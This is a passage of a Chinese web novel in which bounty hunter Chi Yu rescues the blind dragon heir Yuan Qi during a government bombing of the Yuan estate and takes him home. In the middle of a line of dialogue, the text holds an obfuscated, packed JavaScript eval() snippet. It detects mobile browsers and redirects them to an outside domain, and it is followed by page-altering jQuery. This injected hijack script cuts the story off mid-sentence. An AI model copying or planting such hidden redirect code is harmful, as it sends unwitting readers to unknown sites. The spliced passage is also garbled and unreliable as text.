没躺多久,天就大亮,迟郁如常起身,随意将自己微卷曲的棕褐色头发在脑后抓起,径直出了门。 晨练回来和后花园的元起遇上。 他身上热烘烘的汗意往外冒,笑了一声:“少爷好雅兴,一大清早就在这赏花。” 元起没理会他的揶揄,笔挺的鼻子轻轻嗅了嗅,问:“你没休息好吗?” 迟郁挑眉:“鼻子这么灵?看来海关和能源勘探这种特殊行业真该招聘几条龙过去。” 元起肃着一张俊脸,轻咳了咳:“在外面不要胡说。” 迟郁又笑:“那在里面就可以吗?” 元起不知道他在说什么,只觉得这人不像在说正经好话,耳根红了红,转开了话题。 “你好像整晚都没怎么睡,有什么心事吗?” “没什么心事。”迟郁耸肩,“身体不适。” “是有哪里不舒服吗?”元起微微按动了下轮椅靠的更近,认真扬着那张漂亮的脸蛋,眼底满是担心,“我可以帮你……” “帮?”迟郁缓缓俯身凑近了,视线在他白皙修长的手指上逡巡,笑得恶劣,“我睡不着撸了几发,少爷,你想怎么帮?” 17.发.情期 元起一瞬间犹如雷击,颤了一下,本能想要按动轮椅后退。 迟郁的双手猛地按在他扶手上,止住了他的动作。 掌心的滚烫烫的元起掌心发麻。 “跑什么?”迟郁身上蒸腾的热气随着喷张的肌肉扑面而来,他定定地从元起绯红的耳尖看到脸颊,“我记得你也19岁了,你难道没做过这种事?” 元起躲不开,只能死死抵着椅背:“没……我、我跟你不一样。” “哦,那你们龙应该和动物一样有发.情期吧?”迟郁轻笑,带动着热气和晨起的花香拂过鼻尖,“不是也一样。” 元起那双漂亮的大眼睛一下瞪大了,养的红润了些的唇微微震了震。 “没、没有那种……” “也是,你甚至可以自己生。”迟郁兀自回答。想起了昨晚听到庄管家和元季禹的话,心顿时沉了下去。 他站直了,眺望一眼远处被葱绿灌木覆盖的山洞,忽然问。 “庄管家在这照顾你多久了?” 元起刚被释放就极速远离,不懂他话题怎么跳脱这么快,仍旧顺着回答:“庄管家从我有记忆开始就在我身边了……我没有父母,他对我而言就像父亲一样。” 迟郁闻言,深吸一口气,有些烦躁地顶了顶腮。 元起有些疑惑:“怎么突然问这个?” “好奇。你就没想过离开这里,去别的地方吗?” 微风吹动元起柔软光亮的黑发,他眼底有片刻忧伤闪过。 “以前出去的……后来受了伤,眼睛看不见,腿也……” 元起想起自己自由畅游在深海底,龙的眼睛可以于黑暗中看到数百种色彩,那些斑斓的海底世界和地球上不为人知的美景,细想已经像是梦中的场景了。 “我是说以后,”迟郁声音放轻了些,“等你,好了以后。” “想。”元起这次回答的特别快。 迟郁笑了。 “等你好了,你有没有什么想要实现的心愿?” 元起的眼睛很缓慢的眨了一下,睫毛像是黑色蝴蝶短暂扇动翅膀。 “我想看看你。”元起小声说。 迟郁滞了滞,颇头疼地扶额,“啧”了一声。 “还有,我想看完《一千零一夜》,想听你讲完猎人的所有故事……” “我的故事得有一万零一夜。”迟郁笑着打断他,“小少爷,你得在我身边很久才能听完。” 元起怔忡间,迟郁已经转过身。 大门口,庄克定定地站在那里。 他盯着迟郁看了一会儿,深重地吸了口气:“迟郁,你跟我来一下。” 迟郁懒洋洋地单手叉着腰:“晚点吧,我给他推拿完。” 庄管家沉默了片刻,侧身让开。 按摩结束,迟郁收拾了下自己的东西,把箱子里为数不多的口香糖和清口糖装起来给元宝。 元宝恰好才从外面回来。 他绵软的纯白T恤下摆掀起来,兜了满满一兜小果子,脸颊被灌木丛擦出细微划痕,眼神晶亮。 “迟哥迟哥,我上午从后山采的,都是之前衔回来的种子种的,别的山上可没有。” 他说着摊开铺陈了一桌,红色的绿色的黄色的果子咕噜噜滚开来,元宝像是玩绣球的小猫一样手忙脚乱地往回扒拉。 迟郁皱着眉,几下收回了所有的野果。 “谢谢迟哥!”元宝呼了一口气,捡起一个又大又红的用衣服蹭了蹭,往他跟前送,“你尝尝,我都是挑最甜的摘的,酸的得再长长。” 迟郁接过来咬了一口,甜滋滋清亮的果香霎时间在唇舌间蹦开来,他夸了句“很甜”,舌根却隐隐发苦。 元宝“嘿嘿”笑了两声,瞥到桌上好几条口香糖,眼睛登时亮了。 “迟哥,你,这——” 迟郁勾唇:“是,给你的。” “这么多?!” 迟郁挑眉。 “谢谢迟哥!”元宝抱在怀里,快乐得像个孩子跺了跺脚。 窗外陡然暗了下来。 一片巨大的积雨云笼罩在头顶,空气中阴沉沉的泛着湿意。 “迟哥,今天可能下雨,”元宝不自然地咳了咳,“你最好不要出门也不要去山洞了哦。原因……你懂的。” 迟郁正好吃完了果子,他的视线落在元宝的脖子上,那里的伤口已经痊愈,剩下一道长长的月白色的疤。 迟郁用鼻腔“嗯”一声,口袋里的手机震了震。 迟郁望了一眼那个龙形的浮雕,很快收回了视线:“走了。” “迟哥,果子果子——” 迟郁接过,塞进了口袋。 隆隆的雷声过后,豆大的雨点砸下来。 花园里的蔷薇从被雨打的左右摇摆。 迟郁在房间里,森蚺队的小队消息一条条弹出来。 [齐镇:@迟郁 那块龙骨化验过了,是纯种龙,比之前采集到的DNA多了一段未知部分。他生前似乎中了某种针对龙的神经毒素,骨头里有大量没代谢的毒素。] [齐镇:元家已经不能呆了,OTBH联系了政府,昨晚开了紧急会议,总部和政府高层一致认定这么多年龙和人类通婚,已经融入人类社会,但是新一代不知为何出现了返祖现象,也就是兽化了,雷鸣山的疗养院,还有鸣蛇实验室,都是他们龙族自己做的紧急措施,但是效果甚微,如果不加以干预,会给落雪国带来灾难性打击。] 窗外已经不见天光,黑暗中,只有手机屏幕透着冷白的光。 门被敲了敲。 齐镇的新消息弹了出来。 [齐镇:根据前政府绝密档案,部分龙会在雷雨天出现失控现象,这是一种生物本能。你和之前的线人在山洞遭遇龙,也都是雷雨天,刚好佐证了这一点。我们已经组建了队伍赶往元宅,代号无虞,目标是所有人/龙,天一黑就行动。] [蒋胜宇:卧槽,当了这么多年雇佣兵,这还是第一次当正规军,妈妈我出息了。] [蒋得镖:军队这个作战服是比赏猎的帅啊。咱能申请改改不?] [刘巡:迟哥呢?迟美人儿!@迟郁,我们马上来解救你。] 迟郁僵坐如雕像的身影终于有了动静,他飞速打字问。 [迟郁:队伍如果在元宅碰到龙怎么办?] [齐镇:尽量活捉,但是如果威胁到人员健康,任何人都可以不请示直接击杀。兽化的野兽不具备人权。] 闪电照亮了迟郁额角的汗滴,雷声远远响起,似乎怕他听不到,敲门声放大了一些。 迟郁把手机按熄,起身拉开了门。 庄管家脸上的不安乍泄,脑门上似乎也挂了薄汗。 “迟郁,这阵子感谢你照顾我家少爷,天下无不散筵席。明天天晴了,你离开吧。” 庄克说着,递上来一张泛着金光的卡,“密码是6个8,作为补偿,薪水给你双倍。” 迟郁冷笑着捏过:“元家还真是大方。解雇我的理由呢?” 庄克的脸色阴沉下来:“钱已经结清,少爷的决定,不需要向你解释。” “少爷的决定?”迟郁嘲讽地扯了扯一边唇角,“行,那我跟他道个别总行吧。” 庄克脸色有些苍白,似乎竭力忍耐着什么,声音都有些焦躁起来:“不用了,少爷说了不需要。你安静待在房间,还可以天晴再走,如果不满,你可以现在就离开。” 庄管家说完,转身消失在走廊。 迟郁偏头看了一眼,元起的房门上不知道什么时候被嫁妆了一个很显眼的锁。 他旋身回了房间。 雨势渐大,倾盆而下。 一声震天响雷声过后,副楼又传来玻璃被撞碎的声响,紧接着是猛兽咆哮声,向着后山的山洞而去。 迟郁扎进行军靴地带子,站直了身,将装了装备的灰色背包背起,翻窗径直向副楼而去。 大厅昏暗无光,正对面墙上的十二生肖全都泛着幽绿的光。 元宝不在,落地窗玻璃碎了一地,迟郁的视线落在那个诡异地显出绿色宝石的龙形雕像上。 他翻出钩锁,找了个凹槽很深的地方甩上去,钩子牢牢地抓住,迟郁拽了拽绳索,没有脱落的迹象,他像只壁虎一样,腰腹和手臂发力,攀爬了上去。 雕像做得十分细致,迟郁打着手电筒细细看,这么近的距离,才能看出宝石和雕像之间细微的缝隙。 迟郁抽出匕首,几下用刀鞘将龙头的宝石砸烂。 清脆的裂响之后,绿色的宝石碎片扑簌簌向下砸去,露出里面小小的网状的喷头。 迟郁用手电筒斜着照过去,光线之下,能看到细细的雾 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后山山洞里传来元宝痛苦的嘶吼声,腥膻的血腥味顺着潮湿的空气隐隐弥漫开。 迟郁无暇顾及,贴着墙根回到主楼,他没翻回自己房间,而是叩了叩元起的窗户。 元起的房间里只开了盏小台灯,依旧昏黄的像只温柔的灯笼。 静悄悄的,好似没有人,迟郁拉动窗户,被从里面反锁了。 他有些烦躁地抹一把眼皮上的水,一圈将玻璃砸了稀烂,整个指骨震震发麻,迟郁牙关咬紧到颊侧发麻,撑着阳台翻了进去。 元起侧躺上床上,穿着浅香槟色的真丝衬衣,说不出的乖顺安静。 这样大的动静,他胸口安静起伏着,睡的安详。 迟郁单膝跪在床旁,左手手背滴着暗红的血,他换右手轻抚了下元起的脸颊,他的脸凉的厉害,像是刚从海里捞出来一样。 迟郁的大掌伸进去,将元起托着后脑勺托起些。 “元起,醒醒。” 太久没开口,迟郁的嗓音哑得可怕。 元起毛绒绒的头轻轻蹭了蹭,迷蒙的睁开了眼睛。 “迟郁……?” “是我。” 他漂亮的眼底惺忪无害,声音绵软无力,带着某种撩人的尾音:“你怎么来了?” 迟郁掌心轻颤:“你怎么了?他们对你做了什么?” “他们?”元起的动作和反应都放慢了许多,像是麻醉未醒的小动物,“谁?我这是……怎么了……” 迟郁想到门口的锁,猜了个大概。 走廊里传来几声闷响,很快有烟雾顺着门缝弥漫进来。 迟郁松了口气,额头和元起相抵,他的体温低得吓人。 再睁眼时,那双深邃的眼底坚定下来。 “元起,听我说,元季禹和庄管家不对劲,这栋宅子有问题,你要不要,跟我走?” “庄管家和季禹……” 元起眨了眨眼睛,眼前只有朦胧的光,他努力理解着迟郁的话。 迟郁有些粗粝地指尖抚了抚元起的脸,话说得艰难。 “庄管家说,我被解雇了,是你的意思。” 这句话,元起反应很快,他缓缓蹙起眉。 “我没有……那你要走吗?” “要走。” 迟郁轻笑,“带你一起,走不走?” 白色的烟雾顺着门缝迅速弥漫渗透进来。 迟郁蹲着的身体一僵,径直把元起打横抱了起来,流淌到小臂的血沾到他的真丝长裤,迟郁攥紧拳头。 “听着,政府要拿下元宅,不管你愿不愿意,我都得带走你。” 元起漂亮的眼底片刻愣怔,迟郁不敢细看,扯过旁边的外套兜头罩住元起,抱着他翻过窗户。 颈间缠上来一双手臂,圈揽着缓缓收紧,紧接着,元起毛绒绒带着凉意的脑袋靠在了他的胸口。 雨水顺着屋檐扫下来,迟郁才站直的身体一僵。 心跳声像是要击破胸腔般咚咚震响。 巨大的雨声里,胸口外套下的人声音轻软,似带了点眷恋。 “迟郁,你这里好吵。” 18.不理 迟郁喉结滚动一下,将人抱的更紧,一步步走在浓雾似的大雨里。 “元起。” “嗯?” 男人紧实的肌肉散发出滚烫温度,驱散了他身上的寒气,元起渐渐回神。 “那天晚上在书房,你知道我在地下室了吧。” 迟郁忽然有一种想把一切都说开的冲动。 元起没答,而是反问。 “地下室的龙骨,你看到了吗?” “嗯。那是——” “我父亲,元氏上一任家主。” 行军靴踩在水洼里发出啪嗒声,很快被雨声掩盖。 迟郁想起自己划走的一块,默了一瞬。 “为什么帮我。” 元起语气很轻:“以前,元宝进去过,被他爸爸打得半死。” 迟郁滚烫的胸膛起伏了一下:“担心我?” 元起没答,手紧紧揽着他,走了两步,迟郁又喊他。 “如果有一天,你发现我骗了你怎么办。” “你会骗我吗?” 这小龙还挺聪明。迟郁想笑笑不出来。 他呼吸深重,语气故作轻松道:“不好说。” 元起认真想了一下。 “如果不是很严重的事,我会不理你。很严重的话,我就再也不理你。” 迟郁笑了。 “怎么都要不理我?” 元起默了一瞬,又问了一遍。 “迟郁,你会骗我吗?” 迟郁倏地停住了脚步。 大雨如注,闪电骤然亮起,照亮对面雨幕中的元季禹。 他撑着一把黑色的伞,白色的西裤裤脚和那双手工高定皮鞋满是泥泞,金发的发尾也贴在后背,脸色森白。 雨滴砸在元季禹高挺的鼻梁和深邃的眼眶,他眯着眼,冷冷地望着迟郁怀中抱着的人。 “阿起。” 元起的脑袋轻轻支起,被迟郁的大掌按了回去。 元季禹攥着拳,金黄色的眼瞳竖了起来。 “少爷!” 庄管家自元季禹身后赶来。 他额头和脸颊生出黑色的鳞片,缝隙里的暗红血液被雨水冲刷着顺着脸颊脖颈流淌下来,画面极其骇人。 庄克有些忌惮地望着的迟郁,声音沙哑。 “元宅被包围了,政府雇佣了赏金猎人要围猎我们龙族,季禹少爷特意赶过来接你的。”庄克焦急且愤怒,指向迟郁,“迟郁他有问题!他是赏猎协会的人,他早就知道了我们是龙,是他出卖了我们!” 怀中的人僵了一下。 元季禹也开了口:“阿起,我这边有证据,迟郁是OTBH排行第一的金牌赏金猎人。他蓄意来到你身边,是为了剿灭我们龙族的。” 轰隆的雷声骤至,山洞内的元宝痛苦嘶吼着,怀中的元起突然推拒着他要远离。 迟郁在雨中像是抓住浮木一样将人抱得更紧。 喉头干涩发胀,噎得他说不出一个字来。 “你是赏金猎人?”元起仰头问。 “……是。” “你是协会派来监视我的吗?” 迟郁说不出口,他静默了一秒,艰难解释:“不……有人委托我们调查鸣蛇实验室怪物伤人,协会有两名线人也被杀……我来,是调查这件事的。” “也是昨天,他们才找到雷鸣山的疗养院,发现了兽化的龙。” 庄克脸上一下闪过震惊和慌乱。 “你还去了疗养院?!你、你们,小演他……” 迟郁看着元起:“庄管家的儿子兽化伤人被关了进去。像他那样的龙,那里有很多。” 元起没有说话。 迟郁看向庄管家,声音冷沉:“你儿子多次伤人,政府军不可能放过他。他和那栋楼里的龙……如果没有有效控制的手段,对人类来说是巨大的威胁。” 他垂眸看向怀中的人,语气了带着自己都没觉察的颤意。 “元起,你听我说,庄管家晚上给你喝的东西里掺了药,还赶走我,他和元季禹对你图谋不轨——” 元起打断他:“可他们不会伤害整个龙族。” 迟郁一霎失了声。 “迟郁,你要杀了我们吗?”他冷冷说。 “放开我。” 迟郁心脏蓦地搅紧,痛的他呼吸一滞。 “放我下来。”元起又说了一遍,因为愤怒,声音尖利许多。 明明腿还动不了,他却不管不顾地挣扎起来。 迟郁冰凉潮湿的唇颤了颤,声音干涩:“我先带你离开——” 耳机里忽然传出齐镇焦灼暴怒的声音。 “住手!我们的人还在里面!” 下一秒,二楼传来一声爆裂巨响,玻璃瞬间被震碎,冲天的火光在一室烟雾中好像火烧云。 雨幕中,“叮”的一声闷响,落在蔷薇丛里,迟郁很敏锐地察觉到了,几乎是第一时间,他扑倒在地,将元起死死护在身下。 巨大的爆炸声将雨中的蔷薇丛炸得四下飞溅,砖石纷飞,又扑簌簌地落下,砸在地板上,迟郁身上。 有几块砸到他的后脑勺,震麻过后,温热弥漫出来,又被带着凉意的雨水冲淡。 迟郁掌心护着元起的头顶,将他的头按在怀里。 耳中的嗡鸣经久不息。 才回复听觉,耳内传来齐镇那边嘈杂的声音。 “我他妈跟你说了我们的人在里面!” “我们只是听从长官的命令。” “妈的我管你什么规矩!老子跟你拼了。” “迟哥!迟哥你有没有事!回句话啊!” 拳脚相加的声音和蒋胜宇带着哭腔的声音传来。 迟郁第一时间去查看身下的元起。 他那双漂亮的大眼睛失了神,被雨水冲刷之下也不知道闭眼躲。 迟郁抬手帮他遮住。 “伤到哪了没有?” 元起忽然抓住他的衣袖,像是缺氧的鱼,忽然大口喘着气,摇了摇头。 迟郁伏在他身上,松了口气,按了下耳朵上的通讯器。 “我没事。” 齐镇立刻喊道:“迟郁,政府那帮人压根不管我们,你快往外撤离,等下#¥@&……*” 通讯器突然传来一阵刺耳的电流声,迟郁抬手扯下来扔进雨里。 身后的山上接连好几处爆炸。 迟郁抱着元起躲到假山残体后。 面前的碎石和藤蔓忽然拔地而起,紧接着,一条巨大的黑蛇升腾起来,身上的碎石随着他的升高簌簌落下,雨水被遮挡了大半。 化了龙形的庄管家声音声音极具压迫。 “少爷,我带你走……呃啊……” 话才说完,庄管家痛苦呻.吟,巨龙的身体僵直抽搐了几下,轰然倒地。 天空中悬着一架小型直升机,一个穿着特战服的男人踩着云梯,手中的枪口微微便宜,瞄向了元起。 迟郁望着他,眼神狠厉地眯了起来。 元起听着声响就要爬过去。 “庄管家……” “别去。”迟郁一把将元起扣在自己胸口,他深吸一口气,视线仍旧死死盯着直升机上的人。 他的指尖也诡异地泛起寒意,像是确认般抚过元起的后脑勺、脸颊、脖颈,“别激动,激动体温会升高。不能化形,政府军有针对龙的生物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15379025|167602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武器。不能化形。” 元起能感受到他指尖的颤抖。 隔着雨幕,带着防护镜的特种兵脑袋微微偏移,叩下了扳机—— 迟郁转身用自己的后背挡住元起。 没等到预期的疼痛。 山洞口传来一声凄厉的呼号,紧接着,元宝飞冲出来冲着直升机上的人冲了过去。 驾驶员飞快地操纵直升机躲避撞击,还是被龙角剐蹭到狠狠波动了下。 门口悬停的狙击手径直对着元宝扣动扳机。 元宝的身体剧烈抽搐几下,还是狠狠咬下那人手里的枪甩下,随后,像失了支撑的立柱一样栽倒下去。 元起浑身一阵,紧接着剧烈挣扎起来。 迟郁死死将他扣在怀里。 “放开我!放开!” 他带着恨意挣扎,眼睛看不见,仅凭着听到的声音猜测元宝和庄管家遭难了。 挣不脱,元起突然张口咬在迟郁的脖颈,细密的牙齿穿透皮肤肌肉,他发出小兽般的呜咽,很快血腥味在口中弥漫开来。 迟郁咬紧牙关,左手仍旧死死扣着他的后背,右手拾起元宝扔过来的枪,他用手背拂开眼皮上的水,瞄准直升机,利落地叩下了扳机。 直升机舱内很快燃烧起来。 浓浓的烟雾雨水都浇不熄灭,很快,飞机失控地向后山跌落下去。 迟郁肩颈的位置已经痛到麻木,浓稠温柔的血液淌进衣领,元起终于安静下来。 他缓缓松了口,脸色苍白,唇舌沾了血液,红得妖艳,那鲜红在雨水的冲刷顺着雪白的颈蜿蜒而下,元起空洞的大眼睛望向迟郁,冷冷地说道。 “迟郁,我恨你。” 又有几颗手.雷扔了过来。 迟郁一把把元起压在了身下,大掌钳制着他清瘦的下巴,眼神描摹过他的眉眼。 “元起,你要活着才能恨我。” 巨大的爆炸声接连响起,大有把这里地毯式过一遍,夷为平地的感觉。 不知道第几个贴着耳根炸响,迟郁彻底失去了意识。 * 迟郁是被胸口传来的剧痛缓缓唤醒的。 他睁开眼睛,入目是军用皮卡的车顶,身体陷在软皮座椅里,随着车子驶动左右轻晃。 主驾驶是政府军的人,刘巡坐在副驾驶上,两人抽着烟正聊得起劲。 “这玩意儿可真漂亮啊,可惜伤人,不然普及了人手一条一家一龙多好。” “可不呗,据说元家这小少爷可是纯种龙那鳞片那眼睛,,啧啧,应该是顶级了。” 天已经亮了,雨也停了,男人身上的汗味和烟味飘进鼻息,混合着硝烟的味道,迟郁蹙眉深吸一口空气,血腥味顺着呼吸道口腔弥漫开来,呛得他猛地咳起来。 刘巡倏地回过头:“哟,迟哥你醒啦?喝水不?” 迟郁却猛地攥住他的领口,声音嘶哑:“元起怎么了?” 刘巡眼底有片刻慌乱,他瞟了一眼主驾驶的人:“迟哥,元家少爷是龙,是龙当然就被咱正规军拿下了……” 话音刚落,迟郁径直挥拳打在他脸上。 刘巡的脸偏到一边,一瞬间眼冒金星,鼻子和嘴角渗出了血,他吞咽了一下,尝到了血腥味。 主驾驶的人也惊了一下,猛打方向盘,轮胎在地面摩擦出刺耳的声音。 迟郁还要继续拎他脖领子追问,被后座的蒋胜宇拽住了。 …… “迟哥……” 他小声喊了一声,在迟郁回头的时候,轻轻掀开盖在腿上的外套。 外套之下,元起乖顺地侧躺着,晨起的光顺着车窗打进来,照得他的脸颊和睫毛近乎透明。 19.屁股痛 迟郁紧绷的肌肉震了一下,脱力地跌坐回去。 他上身胡乱被套了皱巴巴的衬衫,胸口和脑袋上都打了绷带,刚刚折腾之下,伤口又裂开了,洇出了暗红色的血。 蒋胜宇不动声色把外套拉了上去。 “我们把这小保安也救出来了。这小孩也是福大命大没死,嗐,跟你一样在元宅打工的倒霉蛋……” 蒋胜宇对着驾驶位的军人笑了一下:“不好意思啊,我哥估计是被炸到脑袋,有点脑震荡了。” 刘巡抖着手触了触自己肿起来的唇角,倒吸着气附和:“哎,对,哥你见谅见谅哈。我们野路子,平时就是这么打打闹闹的,玩呢。” 那人如鹰的视线将迟郁上下扫了个遍,转回去,再度发动了车。 车子开到最近的军区,门口的士兵将所有人身上都搜了一遍,几人换上OTBH来接人的车。 蒋得镖开的车,迟郁抱着元起在后座上,将他的头稍稍抬起一些靠在自己腿上。 车子开出军区监控范围,几个人终于松了口气。 “靠,妈的,什么正规军,根本听不懂人话,懂个屁的配合战。”蒋得镖脸上也挨了揍,眼眶青紫了一片,想到昨晚的事,气得锤一把方向盘。 “他们人多装备先进,直接地毯式轰炸然后清理残局,根本不需要打配合。”刘巡气哼哼道。 迟郁一手轻轻护着元起,转过头望着蒋胜宇,似要他解释。 蒋胜宇搓了搓鼻尖。 “昨天刚开始你应该也听到了,政府军不听我们的,直接就开始突袭轰炸了……炸了得有足足半小时。” “我们看你还有生命体征,最先摸进去的,找到了你和……”蒋胜宇视线下移,用下巴指了指,“元家小少爷。当时你俩都不省人事,政府军的人过来问,我直接就说这俩都是我们OTBH的线人。齐队看了一眼也没说话,我们把你俩送上了车。” 迟郁嗓音沙哑,问了句:“齐镇呢?” “齐队他——”刘巡插了一嘴,一看到迟郁的脸,气不打一处来,闭嘴看向窗外。 蒋胜宇咳了咳。 “我们昨晚不是跟政府军起了点冲突么……齐队被总部约谈了。” 迟郁想起通讯器里的声音,默了下来。 蒋得镖从后视镜里望了眼迟郁,龇了龇牙,颇有几分不解道。 “这人,你打算怎么处理啊。” 蒋胜宇踹一脚椅背,“什么怎么处理,迟哥的人,当然是让迟哥带回家!” 蒋得镖眉头皱的可以夹死蚊子。 “但是万一军方那边发现元家小少爷没在里面……” “放屁!就我们森蚺队的五个人知道,你不说我不说,他们怎么发现?”蒋胜宇抱着臂,“谁他妈不是第一次见到龙?你上动物园都不一定能分清公老虎母老虎,还分上哪条龙了。扯淡!大蒋,你不会想着出卖迟哥吧。” 蒋得镖闻言一下气得脖子都红了:“你他妈放屁!老子什么时候出卖过兄弟!” 蒋胜宇乐了:“哟,这时候承认迟哥是兄弟,不想着取而代之了?” “老子没承认。” “哦,那昨天是谁第一个挑头挥拳揍人的?” 蒋得镖硬汉的脸一霎憋得通红,蒋胜宇见好就收,怀疑的视线又飘向刘巡:“你不会气迟哥公报私仇吧?” 刘巡挥了挥自己的左手,也飙了粗话。 “你忘了老子当年卧底被抓,指甲里插了四十多根针都没供出你们?” 他气哼哼瞥一眼迟郁,“我可不是那样的人。” 蒋胜宇一噎,噤声了。 车子安静地驶进有人烟的地方。 迟郁又开了口,哑得可怕的嗓音打破了沉默。 “他们一共抓到几条龙。” “两条活的,直升机打下来的。楼里地毯式搜刮了,有五六条被炸的四分五裂的,军方的法医和专家在那拼吧拼吧好几个小时,我去看了眼,丑不拉几跟森蚺似的……我不是说咱森蚺丑啊!它、它就不太像龙。” “就两条?什么颜色?” “一条黑的一条金灿灿的,他们认定了金色的是元家少爷了。” 庄克和元宝。 元季禹不知所踪。 迟郁蓦地松了口气。 “政府军的人还在那骂呢,说就这么两条轰炸了那么久,人家交恒疗养院那边的抓了得有二百多条,连护士都是龙,那才是大丰收。” 想到昨晚的景象,蒋胜宇感慨万分地直摇头,“迟哥,你说龙长这么大个,怎么这么弱啊。” 他忌惮的看了一眼迟郁腿上的人,声音放低了些:“之前我们猎老虎都差点吃大亏,一个猛冲掀翻一辆军用皮卡。这龙怎么也有老虎几十倍大了,那不是分分钟横扫千军吗。” “是太温驯了吗?这么温驯的大型猛兽在这个时代可活不下去,嘶,那他们这么多年怎么活下来的?”蒋胜宇摸着下巴百思不得其解,想到自己在元宅短暂的一天,“对了,我还去副楼找了下那个吃我鸡蛋的小孩,那边炸的地板都掀起来了,他……” 他叹了一声,话止于此,车里彻底安静下来。 迟郁深重地呼出一口带铁锈味的气,想起那些面貌丑陋的园丁保姆保洁。他这人冷惯了,在元宅这段时间,注意力都在搜查证据和元起身上,这些人也像是透明人默默做自己的工作,细细想来,这阵子几乎日日见到的人,竟连话都没说过几句。 旁的蒋胜宇戳点了下迟郁的胳膊,他回过神来。 小蒋对着生闷气的刘巡扬了扬下巴,迟郁没再说话。 蒋胜宇“嘶”了一声,烦躁地搓了搓自己的后脑勺的短发。 下了车,迟郁抱着元起,怀中的人睡得安详,他拉高外套将他遮了个严严实实,二蒋和刘巡跟着他进了院。 迟郁的房子是郊区别墅中最隐蔽的一栋,周围绿化极好,远远看去像是森林里独自拔地而起的世外桃源。 到了房子门口,刘巡别扭着不肯进去,被蒋胜宇一把扯了进去。 迟郁先进卧室把元起安置在床上,出来的时候,三个人正在他挂了满墙的勋章、纪念武器、战利品的墙前争论得热火朝天。 迟郁脱掉衬衫扔进脏衣篓里:“看上哪个就拿吧。” 蒋胜宇立刻一脸兴奋地回头:“真的吗迟哥?那多不好意思啊?” 话虽这么说,手却已经摸上了高处的狼头。 蒋得镖那张硬汉的脸上罕见地拘束,他挠了挠后脑勺,装作淡然转头,手抑制不住颤抖地摸上今年协会刚给迟郁发的X92瞬发消音枪。 上面有烫金的赏猎标识,全世界只此一把。 刘巡肿着半边脸像面包小狗,原本正兴奋地摸来摸去,一看迟郁出来,立刻别开脸,抱着臂装不感兴趣。 迟郁靠过来挑了挑眉,轻描淡写说了一句:“你可以多挑几样。” 刘巡眼睛一下子亮了,但还是绷着脸,语气里蓄着不悦:“前天差点拿刀杀我,今天醒来就揍了我,道歉!别以为一点东西就能收买我……” 蒋胜宇抱着个大狼头既羡慕又满足,闻言拿狼嘴杵了杵他,打圆场道:“啧,你傻呀,迟哥这性子,都让你随便挑了,那不是‘对不起’写脸上了?你到时候上协会里嘚瑟一嘴,别人都得觉得迟哥有什么要命的把柄攥你手里了。” 刘巡脸上有些松动,抬眼瞥迟郁一眼,迟郁挑了挑眉:“谢谢。” 三人登时像见了鬼一样。 送走人,迟郁拧了打了盆水,拎了条毛巾进卧室,给元起擦拭身体。 折腾了一夜,他体内的药效应该是代谢出去了。 此刻体温烫的吓人。 他剥掉元起身上脏兮兮的衬衫和长裤,将他全身都擦拭了一遍,那体温不减反增。 迟郁有些头疼地望着少年白皙的脸庞,浓黑的睫毛在他眼下投下一层阴影。 迟郁自己都分不清为什么当时非要带走元起。 起初只是想告个别。 但是接到齐镇轰炸元宅的通知,在摸到元起过低的体温,想到他被下药的遭遇,听到他的声音的那刻……突然就无法置之不理了。 迟郁自嘲地扯了扯嘴角,抬手擎住少年的下巴。 “你到底有什么好?不就是好看了点,好看的人我见多了。” 这么好看的倒是头一个。 迟郁掰着他的脸左看看又看看,像是蹂躏一只睡着的小猫:“温驯吗?我怎么看不出来,动不动就让放开,腿都动不了,当时就该给你扔泥坑里让你长长记性……” 元起轻轻哼了一声,好看的眉间轻轻蹙起,无力挣扎着他大掌的束缚,迟郁登时僵住了,动都不敢动,望着他安静的睡颜想到什么:“你最好别化形啊,我这房子可容不下——” 话音未落,床上的人发出小动物般的哼哼声,伸了个舒张的懒腰,极速膨胀成白色的龙。 欧式的大床轰然塌下去,放在床头柜上的水盆被掀到天花板,又落下来,砰的扣在迟郁头上。 迟郁被挤到门口,衣柜也炸了,柜门砸到肩膀,他单只缓缓抬起灰色的盆,偏头吐掉口中的水,望着满满当当睡满了一屋子的龙,良久才长叹一声。 元起醒来的时候已经是下午,黄昏的夕阳隔着轻薄的灰色纱帘找进来,暖黄迷蒙。 浑身都火辣辣的疼痛,像是被拆卸重组过一样,元起缓缓撑着坐起身,眼前只能感受到朦胧的光晕,意识缓缓回笼,身上的薄毯顺着滑下,元起这才意识到自己赤.裸裸光溜溜的。 陌生又熟悉的气味里混进一丝饭菜的香味,元起饿了一天一夜,味蕾几乎是瞬间被勾了起来。 有脚步声穿过走廊到了门口,元起倏地拉起薄毯,戒备地望向门口的方向。 迟郁端着温热的瘦肉粥,看了眼已经恢复人形还醒了的元起怔了一下,才要继续迈步,就被床上……地上的人喝止了。 “别过来。” 迟郁管他这个,嗤笑一声,大步走了过来,下意识往床头柜放粥,这才想起怕磕碰到他,屋内撞碎的家具摆设全都清空了。 迟郁干脆一屁股坐在地上。 元起拉着薄毯,白嫩的耳尖红了:“你对我做了什么?我的衣服呢……我为什么……” 浑身痛,腰痛,屁股也痛。 元起有些难以启齿,只愤愤地望着迟郁的方向。 迟郁随意翻搅了两下粥,毫不理会他的控诉:“张嘴。” “……我不吃。” 元起攥着薄被,另一只手轻轻向下摸了摸腰和屁股,他下半身已经很久没什么直觉了,能让他觉得痛,一定被很粗暴的蹂躏过。 迟郁挑了挑眉,一把把碗放在地板上,砰的一声。 元起吓了一跳。 迟郁问:“很痛吗?” 元起登时愤愤然起来:“你对我做了什么?” “ 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他又伸手,没了枕头,又不能把毯子扔过去,气疯了口不择言,“你怎么能……怎么能在这里……你家里连张床都没有!” 迟郁看了看自己像遭遇了空袭的卧室,登时气笑了。 他半跪着靠近了,两人近乎呼吸交叠,望着他漂亮矜贵的脸。 “怎么?嫌弃啊?我们猎人餐风露宿,就这条件。昨晚你不是还很喜欢……” “我讨厌你!” 